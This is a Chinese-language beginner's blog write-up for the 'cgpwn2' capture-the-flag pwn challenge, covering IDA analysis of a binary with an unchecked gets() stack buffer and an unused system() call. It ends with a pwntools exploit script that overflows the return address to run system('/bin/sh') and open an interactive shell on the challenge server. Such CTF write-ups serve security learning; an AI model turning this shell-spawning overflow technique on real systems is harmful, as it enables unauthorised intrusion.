cgpwn2-嫖来的wp

本想练习pwn的题目活跃下思维,但是接触后发现完全不懂,gg

然后就多方搜集,弄来了一些工具(IDA pro、pwntool)结果自己还是不会用,又是一番刷视频,结果看完又是一脸懵。

只记得一个快捷键Shift+F12,查看下字符。。。然后其他的,呵呵哒。

最后既然啥都看不懂但是题目还是要做的,只能一直瞟师傅们的wp了,希望在接下来的一段时间能够“瞟有所成”。。。。

下面这道题呢是来自攻防世界的题目——cgpwn2.

 

 在题目场景那里本来有一个打开场景的,点击后等待一下就可以了。在下面有一个附件,是可以下载下来的。这里我们下载一下。

 

将其用IDA打开,没错就是下面这个图标。

 

 

 

 

 打开以后就是上面这个界面。。。。然后看不懂,这时我们可以shift+F12查看下.,此时就可以看到下面这个界面。

 

 

 

 下面该怎么办了呢,不会呀。。。开始搜索师傅的wp中。

这里呢师傅先用checksec 命令查看cgpwn2   【checksec 这个命令一般没得的,只有在安装pwntools以后才会出现,要记下来的】

接下来是对程序逻辑分析,也就是我们刚打开程序的那个界面   充满着看不懂的汇编语言。。。

 然后呢,师傅开始对代码分析,首先定义三个流的缓冲区,然后调用hello函数,接着打印“thank you”,最后程序结束

hello函数程序的前面一部分有点复杂,我们先看看反汇编出来的c语言代码

 

 

 这个是前面的反汇编代码,我们可以看到主要是和定义的几个变量的值(几个寄存器的值)有关,这里我们先不看了然后上面的部分执行完之后,我们看看下面的部分

 

在这里双击打开,至于那个反汇编界面没找到。好像是因为我的IDA没有那个功能,所以请支持正版。。。

 

 

首先要求我们输入一个名字,这个输入是通过fgets函数完成的,从键盘读取最多32h个字符到name区域然后提示我们输入一些信息,这个输入是通过gets函数完成的,没有输入字符数量的限制,从键盘读取字符到s区域

 

 我们看看name和s是什么区域:  双击这里进入

name是bss段的一个大小为34的区域,s区域的起始位置是运行时距离栈帧0x26个字节的地方,大小不限然后hello函数结束

pwn函数

在我们查看这个程序里的函数时,我们也会发现一个叫做pwn的函数,在实际运行过程中并不会被调用,我们看看这个函数

 

 

 

我们可以看到这个函数是利用系统调用打印"hehehe",存在一个call system。看到这里整个逻辑大概清楚了。目的是想法去调用system

然后是这样分析的。。

分析和编写脚本

分析:

在我们分析程序逻辑时我们可以看到在hello函数中有一个部分我们用gets函数向栈的s区域读取了字符串,结合gets函数不限制输入字符个数和程序没有开启stack保护两点,我们可以在使用输入时让输入的字符串覆盖栈上hello函数的返回地址,让程序执行完hello函数之后执行我们设计的部分

脚本:

from pwn import * 
r = remote('111.198.29.45',52561)
target = 0x804855A                 //pwn函数中callsystem语句的地址,也是我们构造的假的返回地址
binsh = 0x804A080              //name区域的地址,我们向name区域输入/bin/sh,然后让这个地址作为system函数的参数,完成system("/bin/sh")
payload = 'a'*0x26+'bbbb'+p32(target) +p32(binsh)  //|填充栈|覆盖保存的exp的值|假的返回地址,指向callsystem|callsystem的参数|
a = r.recvuntil('e\n')
r.sendline('/bin/sh')
a = r.recvuntil(':\n')
r.sendline(payload)
r.interactive()        

结果

 大致流程是:

 

 

复习下今天学到的命令:checksec 查看   Shift+F12 查看字符  

 

posted @ 2020-02-27 21:54  MTcx  阅读(448)  评论(0编辑  收藏  举报